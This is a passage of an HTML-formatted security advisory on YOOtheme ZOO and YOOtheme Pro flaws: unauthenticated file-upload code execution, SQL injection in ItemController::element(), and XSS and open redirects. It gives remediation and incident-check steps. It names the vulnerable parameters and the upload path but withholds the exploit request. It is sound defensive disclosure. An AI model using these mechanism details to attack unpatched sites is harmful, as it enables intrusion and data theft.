  &lt;p&gt;&lt;strong&gt;4.1.66&lt;/strong&gt; followed on 21 August with four more, all reachable without an account. The one to plan around is &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76612/&quot;&gt;CVE-2026-76612&lt;/a&gt;, scored &lt;strong&gt;8.6&lt;/strong&gt;: comments and user-supplied field elements are not escaped on output, so an anonymous visitor can store script that later runs in the browser of anyone viewing the page, administrators included. Alongside it, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76611/&quot;&gt;CVE-2026-76611&lt;/a&gt; (6.9) lists directories through the Gallery element on a submission form, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77028/&quot;&gt;CVE-2026-77028&lt;/a&gt; (5.3) is a reflected cross-site scripting and open redirect through the submission redirect parameter, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77029/&quot;&gt;CVE-2026-77029&lt;/a&gt; (4.6) is missing cross-site request forgery protection on front-end actions, submission deletion among them.&lt;/p&gt;
  &lt;p&gt;Two more lines in that changelog are not listed as security fixes at all, and both are worth reading anyway. One enforces the Download element&apos;s upload allow-list on front-end submissions, which is the same kind of guest upload route as the CVSS 10.0 below. The other reads &quot;fix support for upload MIME validation on Joomla versions earlier than 4.4&quot;, which would mean the upload checking added in 4.1.64 was not running on Joomla 3 or Joomla 4.0 to 4.3. We have not verified that, and we are not going to claim it as fact. What we will say is that if your ZOO sites run on those Joomla versions, treat &lt;strong&gt;4.1.66&lt;/strong&gt; rather than 4.1.64 as the release where the upload hardening below takes effect.&lt;/p&gt;
  &lt;p&gt;Everything below this box still stands: 4.1.64 fixes the CVSS 10.0. &lt;strong&gt;4.1.66&lt;/strong&gt; is the version to install.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Was Wrong in YOOtheme ZOO 4.1.63?&lt;/h2&gt;
&lt;p&gt;Three separate things, in three separate parts of the component, with one property in common: none of them requires an account on the site.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;Identifier&lt;/th&gt;&lt;th&gt;Score&lt;/th&gt;&lt;th&gt;Needs a login?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Arbitrary file upload leading to remote code execution&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74803/&quot;&gt;CVE-2026-74803&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SQL injection in the item element endpoint&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74804/&quot;&gt;CVE-2026-74804&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.3 Critical&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Open redirect in the Twitter comment callback&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-75114/&quot;&gt;CVE-2026-75114&lt;/a&gt;&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;All three are credited to Phil Taylor of mySites.guru in the CVE records published by the Joomla project, which acts as the CVE Numbering Authority for Joomla extensions. The affected range on every record is 1.0.0 to 4.1.63, so this is not a bug introduced in a recent build. It has been there a long time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run ZOO 3.x, read this bit&lt;/p&gt;
  &lt;p&gt;The CVE records list the affected range as 1.0.0 to 4.1.63, which includes the entire ZOO 3.x line. YOOtheme shipped a fix on the 4.x line only. There is no 3.x security release. If you are on 3.x you are inside the affected range with nowhere to update to, so the realistic options are moving the site to the 4.x line or taking ZOO off it. Leaving a 3.x install published and reachable is not one of them.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The Image Element Trusted the Browser’s Word&lt;/h2&gt;
&lt;p&gt;This is the CVSS 10.0 one, and the mechanism is worth understanding because the same mistake turns up across the whole Joomla and WordPress extension ecosystem.&lt;/p&gt;
&lt;p&gt;ZOO lets visitors submit content through a front-end submission form. That is a documented, intended feature, and guest submissions are the default rather than an exotic configuration. If the form includes an Image element, which the stock layouts do, visitors can attach a picture.&lt;/p&gt;
&lt;p&gt;The Image element validates that attachment. It builds a validator configured with a MIME type group of &lt;code&gt;image&lt;/code&gt; and a maximum size, which reads, at a glance, like exactly the right check. The problem is which value that validator inspects. It reads the &lt;code&gt;Content-Type&lt;/code&gt; header the client attached to the upload.&lt;/p&gt;
&lt;p&gt;That header is not a property of the file. It is a label chosen by whoever is sending the request, and there is nothing stopping them writing whatever they like in it. So the check amounts to asking the attacker what kind of file they are uploading and believing the answer.&lt;/p&gt;
&lt;p&gt;Nothing else closes the gap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the file’s actual contents are never inspected, so the bytes can be anything at all;&lt;/li&gt;
&lt;li&gt;no allow-list of permitted extensions is configured for this element;&lt;/li&gt;
&lt;li&gt;the filename goes through Joomla’s &lt;code&gt;File::makeSafe()&lt;/code&gt;, which strips dangerous characters but happily preserves a &lt;code&gt;.php&lt;/code&gt; extension;&lt;/li&gt;
&lt;li&gt;the file is then written into &lt;code&gt;images/zoo/uploads/&lt;/code&gt;, a directory inside the web root, where the web server executes PHP.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chain those together and an anonymous visitor uploads a PHP file, tells ZOO it is a JPEG, and then requests it in a browser to run it. That is unauthenticated remote code execution, the most severe outcome a web vulnerability can have, and it is why the Joomla CNA scored it at the top of the scale with high impact across confidentiality, integrity and availability, both for the component and for the wider system.&lt;/p&gt;
&lt;p&gt;We proved it end to end on a Joomla 5.4.7 test install: a benign file that printed the server’s own &lt;code&gt;php_uname()&lt;/code&gt; output was uploaded as an unauthenticated guest and returned that output over HTTP. We are not publishing the request.&lt;/p&gt;
&lt;h3&gt;Why “Check the MIME Type” Keeps Failing&lt;/h3&gt;
&lt;p&gt;There are two completely different things people mean by validating a file’s type, and only one of them is a security control.&lt;/p&gt;
&lt;p&gt;The first is reading the &lt;code&gt;Content-Type&lt;/code&gt; header sent with the upload. That is a hint supplied by the client. It is useful for deciding how to display something, and useless for deciding whether to trust it, because the client is the attacker.&lt;/p&gt;
&lt;p&gt;The second is examining the file’s own contents server-side, checking the magic bytes, and rejecting anything that does not match an allow-list of extensions you have decided are acceptable. That one is a security control.&lt;/p&gt;
&lt;p&gt;They read almost identically in code review. A line that says “check this is in the image MIME group” looks responsible either way, and the difference is one variable deep. That is exactly why this class of bug still passes audits, and it is the same underlying mistake we wrote up in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt; over the past few months.&lt;/p&gt;
&lt;p&gt;The rule that actually holds: &lt;strong&gt;never let the extension of a stored file be decided by anything the caller sent you.&lt;/strong&gt; Generate the name and the extension yourself from a fixed list, and the entire bug class stops existing.&lt;/p&gt;
&lt;h2&gt;How Bad Is the ZOO SQL Injection?&lt;/h2&gt;
&lt;p&gt;Bad enough to matter on its own, and it has a wider reach than the upload flaw because it has no preconditions.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74804/&quot;&gt;CVE-2026-74804&lt;/a&gt; sits in &lt;code&gt;ItemController::element()&lt;/code&gt;. Two values taken straight from the request, &lt;code&gt;filter_type&lt;/code&gt; and the &lt;code&gt;type_filter&lt;/code&gt; array, are pasted into the SQL condition as string comparisons with no quoting and no escaping of any kind. The condition string is then concatenated into the query verbatim by the table layer underneath.&lt;/p&gt;
&lt;p&gt;An anonymous visitor can therefore close the string early and write their own SQL. In testing that let us do two things. First, bypass the filters the query exists to enforce, so items that were unpublished and items restricted to logged-in users came back to a guest alongside the public ones. Second, attach a &lt;code&gt;UNION&lt;/code&gt; and read arbitrary data: we pulled back the MySQL version and the database name as an unauthenticated request to prove the reach without touching customer data.&lt;/p&gt;
&lt;p&gt;The practical difference from the upload flaw is the precondition. The upload needs a published submission form containing an Image element that guests can reach. The SQL injection needs nothing except an installed ZOO application, which every deployed ZOO site has by definition. &lt;strong&gt;A site with no submission form at all is still fully exposed to this one.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;That matters for triage. If you were planning to skip the update on ZOO sites that do not take submissions, do not.&lt;/p&gt;
&lt;h2&gt;The Open Redirect Is the Least of It&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-75114/&quot;&gt;CVE-2026-75114&lt;/a&gt; is the small one, and in a release with a CVSS 10.0 in it there is a temptation to ignore the 5.1 entirely. It is still worth patching.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CommentController::twitterAuthenticate()&lt;/code&gt; takes a &lt;code&gt;referer&lt;/code&gt; parameter from the request and hands it straight to &lt;code&gt;setRedirect()&lt;/code&gt; without checking the scheme or the host. Ask for it and the site issues an HTTP 303 to wherever you named. It works whether or not Twitter authentication has ever been configured on the site.&lt;/p&gt;
&lt;p&gt;An open redirect costs you the reputation of your domain: a link that starts at your trusted site and ends somewhere else is exactly what a phishing campaign wants, and it still passes the “check the link before you click it” advice that most staff training is built on.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every ZOO Install Across My Joomla Sites?&lt;/h2&gt;
&lt;p&gt;If you run one Joomla site, log into it, open the extension manager, and read the ZOO version off the screen. That takes a minute and you are done.&lt;/p&gt;
&lt;p&gt;If you run thirty, or two hundred, that approach is where the update stops happening. You get through the first dozen, something urgent arrives, and the rest of the list never gets checked. The sites that end up compromised are almost never the ones no one knew about. They are the ones on a list somebody meant to get back to.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;mySites.guru&lt;/a&gt; keeps an inventory of every extension on every connected Joomla and WordPress site. Search it for ZOO and you get every install, with its version, on one screen, and you can push the update to all of them from there.&lt;/p&gt;
&lt;p&gt;The vulnerability rules go a step further and flag the versions rather than waiting for you to compare numbers yourself. The rule for this one went live on the day the records were published, so any connected site running ZOO below 4.1.64 is already marked, and two further rules cover 4.1.64 and 4.1.65 now that later releases exist. Our own numbers across connected sites when that rule went in were not encouraging: &lt;strong&gt;hundreds of sites still on a vulnerable ZOO, and not a single one yet on 4.1.64&lt;/strong&gt;, which is what you would expect on release day and exactly why the next fortnight is the dangerous part. A meaningful share of those were still on the 3.x line, which has no fix to move to at all.&lt;/p&gt;
&lt;h2&gt;What to Do Right Now&lt;/h2&gt;
&lt;p&gt;In order, most urgent first.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update ZOO to 4.1.66 or later on every site.&lt;/strong&gt; That closes the three flaws described below, and the five that 4.1.65 and 4.1.66 fixed after them. It is the only step that fixes anything; everything below is about checking what may already have happened.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If a site is on ZOO 3.x&lt;/strong&gt;, there is no security release for that branch. Plan the move to 4.x, and in the meantime treat the site as exposed rather than patched.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look in &lt;code&gt;images/zoo/uploads/&lt;/code&gt; for anything that is not an image.&lt;/strong&gt; Anything ending in &lt;code&gt;.php&lt;/code&gt; there should be treated as a web shell until proven otherwise. Widen the search to any unexpected PHP file anywhere under &lt;code&gt;images/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your Joomla administrator accounts&lt;/strong&gt; for any you do not recognise, and review recently modified files across the site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If the site was internet-facing on an old version, treat stored password hashes as read.&lt;/strong&gt; The SQL injection could reach the user table. Force a password reset and rotate the Joomla secret in &lt;code&gt;configuration.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not skip sites that have no submission form.&lt;/strong&gt; They are not exposed to the upload flaw, but they are fully exposed to the SQL injection, which needs nothing but an installed ZOO application.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If any of that turns up something you would rather not deal with yourself, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; is the paid service where we do it for you: the site gets patched, checked for backdoors, and returned clean.&lt;/p&gt;
&lt;h2&gt;How Do I Tell If a ZOO Site Was Already Hit?&lt;/h2&gt;
&lt;p&gt;Updating stops the next attempt. It tells you nothing about the last one, and on a flaw this old the window has been open for a long time.&lt;/p&gt;
&lt;p&gt;Start with the upload folder, because that is where the evidence would be. &lt;code&gt;images/zoo/uploads/&lt;/code&gt; should contain images and nothing else. A &lt;code&gt;.php&lt;/code&gt; file there, or a file with a double extension, or an image with a modification date that does not match anything you submitted, is worth treating as an incident rather than a curiosity.&lt;/p&gt;
&lt;p&gt;Then look at the things a successful upload leads to. Administrator accounts you did not create. Scheduled tasks no one set up. PHP files with recent modification times in directories that should be static. Outbound connections from the web server that you cannot account for.&lt;/p&gt;
&lt;p&gt;The reason to do this rather than assume you are fine: an anonymous file upload is not a flaw that needs a targeted attacker. Mass scanners work through the Joomla extension list continuously, and we have watched several of these upload flaws get probed at scale within days of the details reaching the public, which the &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; case documented in detail. mySites.guru runs those checks, including the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;suspect content tool&lt;/a&gt;, across every connected site automatically.&lt;/p&gt;
&lt;h2&gt;Why Front-End Submission Forms Keep Producing This Bug&lt;/h2&gt;
&lt;p&gt;Step back from ZOO for a moment, because it is not really about ZOO.&lt;/p&gt;
&lt;p&gt;Look at the pattern in what we have published this year: &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, and now ZOO. Different vendors, different codebases, different decades in some cases. The same bug.&lt;/p&gt;
&lt;p&gt;What they share is a feature requirement that pulls directly against the security requirement. The whole point of a front-end submission form is that a stranger can use it without an account, and if it accepts pictures then it must accept a file from that stranger. Every safeguard you would reach for first is one the attacker controls: the filename, the extension in the filename, and the &lt;code&gt;Content-Type&lt;/code&gt; label. The only inputs that are not attacker-controlled are the file’s actual bytes and the rules you wrote yourself, and checking those is more work than checking a header.&lt;/p&gt;
&lt;p&gt;So the code that looks careful gets written, review sees a MIME check and moves on, and the bug sits there for years. ZOO’s affected range starts at 1.0.0.&lt;/p&gt;
&lt;p&gt;If you build Joomla or WordPress extensions, the takeaway is short: &lt;strong&gt;the file’s declared type is not evidence.&lt;/strong&gt; Read the bytes, enforce an extension allow-list you control, generate the stored filename yourself, and if you can, put the upload directory somewhere the web server will never execute anything.&lt;/p&gt;
&lt;p&gt;If you run sites rather than build them, the takeaway is shorter still. Any extension that takes uploads from the public is a standing risk, and the number of them installed across your sites is the thing to keep an eye on. Our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; tracks the ones we know about.&lt;/p&gt;
&lt;h2&gt;Every YOOtheme CVE Published Since June&lt;/h2&gt;
&lt;p&gt;Eleven CVE records name YOOtheme as the vendor in the two months to 21 August 2026, spread across three products. Scores are CVSS 4.0 as published by the Joomla CNA, except the WordPress one, which WPScan scored on CVSS 3.1.&lt;/p&gt;
&lt;h3&gt;ZOO (&lt;code&gt;com_zoo&lt;/code&gt;)&lt;/h3&gt;




































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;Reported by&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74803/&quot;&gt;CVE-2026-74803&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary file upload leading to remote code execution&lt;/td&gt;&lt;td&gt;&lt;strong&gt;10.0 Critical&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.64&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74804/&quot;&gt;CVE-2026-74804&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated SQL injection in the item element endpoint&lt;/td&gt;&lt;td&gt;&lt;strong&gt;9.3 Critical&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.64&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76612/&quot;&gt;CVE-2026-76612&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated stored XSS through comments and user-supplied field elements&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.6 High&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.66&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76610/&quot;&gt;CVE-2026-76610&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated tag modification through the comment controller&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.65&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76611/&quot;&gt;CVE-2026-76611&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Unauthenticated arbitrary directory listing via the Gallery element&lt;/td&gt;&lt;td&gt;6.9 Medium&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.66&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77028/&quot;&gt;CVE-2026-77028&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Reflected XSS and open redirect via the submission redirect parameter&lt;/td&gt;&lt;td&gt;5.3 Medium&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.66&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-75114/&quot;&gt;CVE-2026-75114&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Open redirect in the Twitter comment callback&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.64&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77029/&quot;&gt;CVE-2026-77029&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Missing CSRF tokens on front-end state changes&lt;/td&gt;&lt;td&gt;4.6 Medium&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;td&gt;4.1.66&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;YOOtheme Pro for Joomla&lt;/h3&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;Reported by&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76613/&quot;&gt;CVE-2026-76613&lt;/a&gt;&lt;/td&gt;&lt;td&gt;SQL injection the record describes as reachable by any contributor-level user&lt;/td&gt;&lt;td&gt;&lt;strong&gt;8.6 High&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;no one credited in the record&lt;/td&gt;&lt;td&gt;5.0.41, or 4.5.34 on Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-75115/&quot;&gt;CVE-2026-75115&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Arbitrary file read through glob patterns in the Filesystem source’s path filter, for privileged users&lt;/td&gt;&lt;td&gt;&lt;strong&gt;7.0 High&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Jörg Steinsträter&lt;/td&gt;&lt;td&gt;5.0.41, or 4.5.34 on Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77996/&quot;&gt;CVE-2026-77996&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Stored cross-site scripting through an unescaped value in the Location custom field&lt;/td&gt;&lt;td&gt;&lt;strong&gt;7.5 High&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;no one credited in the record&lt;/td&gt;&lt;td&gt;5.0.42, or 4.5.34 on Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77997/&quot;&gt;CVE-2026-77997&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Module controller returns any module’s title and full parameter set with no permission check&lt;/td&gt;&lt;td&gt;5.1 Medium&lt;/td&gt;&lt;td&gt;no one credited in the record&lt;/td&gt;&lt;td&gt;5.0.42, or 4.5.34 on Joomla 3&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;YOOtheme Pro WordPress theme&lt;/h3&gt;



















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;Reported by&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10077&quot;&gt;CVE-2026-10077&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Author-level stored XSS through UIkit data attributes that get past &lt;code&gt;wp_kses_post()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;6.8 (CVSS 3.1)&lt;/td&gt;&lt;td&gt;Pierre Rudloff, via WPScan&lt;/td&gt;&lt;td&gt;5.0.35&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Two things in that table are worth pulling out.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;If you run YOOtheme Pro on Joomla, you have a second update to do today.&lt;/strong&gt; 5.0.41 shipped on 21 August, the same day as ZOO 4.1.66, and it is a separate download. The affected ranges are 1.0.0 to 5.0.40 for the SQL injection and 2.3.0 to 5.0.40 for the file read, so every install before 5.0.41 is inside at least one of them. Updating ZOO does nothing for these, and neither does updating your template if it is not the YOOtheme Pro one. 5.0.42 followed on 24 August with two further fixes, covered at the end of this section.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The record for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-76613/&quot;&gt;CVE-2026-76613&lt;/a&gt; has been corrected, and it now reads 8.6 High.&lt;/strong&gt; When this post first went up, its title and description said the SQL injection needed a contributor-level account while the vector published alongside them was &lt;code&gt;PR:N&lt;/code&gt;, meaning no privileges at all, and that &lt;code&gt;PR:N&lt;/code&gt; is what produced the original 9.2 Critical. YOOtheme got in touch to confirm the vector was wrong, and the record was updated on 23 August 2026: the score is now &lt;strong&gt;8.6 High&lt;/strong&gt; and the title reads “Authenticated, privileged SQL injection”.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;One mismatch is still there after the correction. The revised vector says &lt;code&gt;PR:H&lt;/code&gt;, which CVSS defines as privileges giving significant control over the component, while the description still says “any contributor-level user”, a role most sites treat as barely privileged at all. We have not audited YOOtheme Pro ourselves, so we cannot settle which reading is right, and the difference matters on any site that hands contributor accounts to people it has not met.&lt;/p&gt;
&lt;p&gt;5.0.42, released on 24 August, has two more fixes that read as security work filed under maintenance wording. Both entries sit under “Fixed” in the changelog rather than under “Security”. The first adds an authorisation check to an endpoint that returns a module’s title together with its complete parameter set: until this release it ran no permission test at all, and being a GET route it never passed YOOtheme’s CSRF token check either, because that only applies to state-changing requests. The second escapes a custom field value that was previously written into an HTML attribute raw, which is textbook cross-site scripting. We have verified both fixes in the shipped code rather than taking the changelog’s word for it. Both were published as CVE records on 25 August, the morning after the release: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77996/&quot;&gt;CVE-2026-77996&lt;/a&gt; at 7.5 High for the escaping fix, and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77997/&quot;&gt;CVE-2026-77997&lt;/a&gt; at 5.1 Medium for the authorisation check. Install 5.0.42 either way; it contains everything 5.0.41 fixed plus these two.&lt;/p&gt;
&lt;h3&gt;The Joomla 3 branch got all four fixes, in 4.5.34&lt;/h3&gt;
&lt;p&gt;YOOtheme Pro runs two lines at once. The 5.0.x line needs Joomla 4 or later, and 4.5.x is &lt;a href=&quot;https://joomla3security.com/vendors/yootheme/&quot;&gt;the branch kept alive for sites still on Joomla 3&lt;/a&gt;. Every version number in all four CVE records is a 5.x number, so from the records alone a site on 4.5.33 looks stranded: inside the affected range, with nothing it can install. That is not the case. The whole set was backported on 24 August, and the package changelog says so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;## 4.5.35 (August 25, 2026)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;### Fixed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;- Fix regression in Articles Model (Joomla)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;## 4.5.34 (August 24, 2026)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;### Security&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;- CVE-2026-75115: Fix arbitrary file read exploitable by any contributor-level user&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;- CVE-2026-76613: Fix SQL injection exploitable by any contributor-level user&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;- Fix escaping location custom field value (Joomla)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;- Fix missing authorization check in module controller (Joomla)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;## 4.5.33 (December 16, 2025)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three things are worth reading out of that.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;4.5.34 closes all four, not the two it names.&lt;/strong&gt; The two named CVEs are the pair fixed in 5.0.41. The two unnamed entries under them are word for word the 5.0.42 entries, which is how you can see the Joomla 3 branch caught up with both releases in one go. We checked the shipped code rather than trusting that mapping. The escaping fix adds &lt;code&gt;htmlspecialchars($data[&apos;value&apos;], ENT_QUOTES, &apos;UTF-8&apos;)&lt;/code&gt; in the Location field plugin, and the authorisation fix adds a &lt;code&gt;core.edit&lt;/code&gt; test against &lt;code&gt;com_modules.module.{id}&lt;/code&gt; before the module controller will answer. Both are the same change 5.0.42 made.&lt;/li&gt;
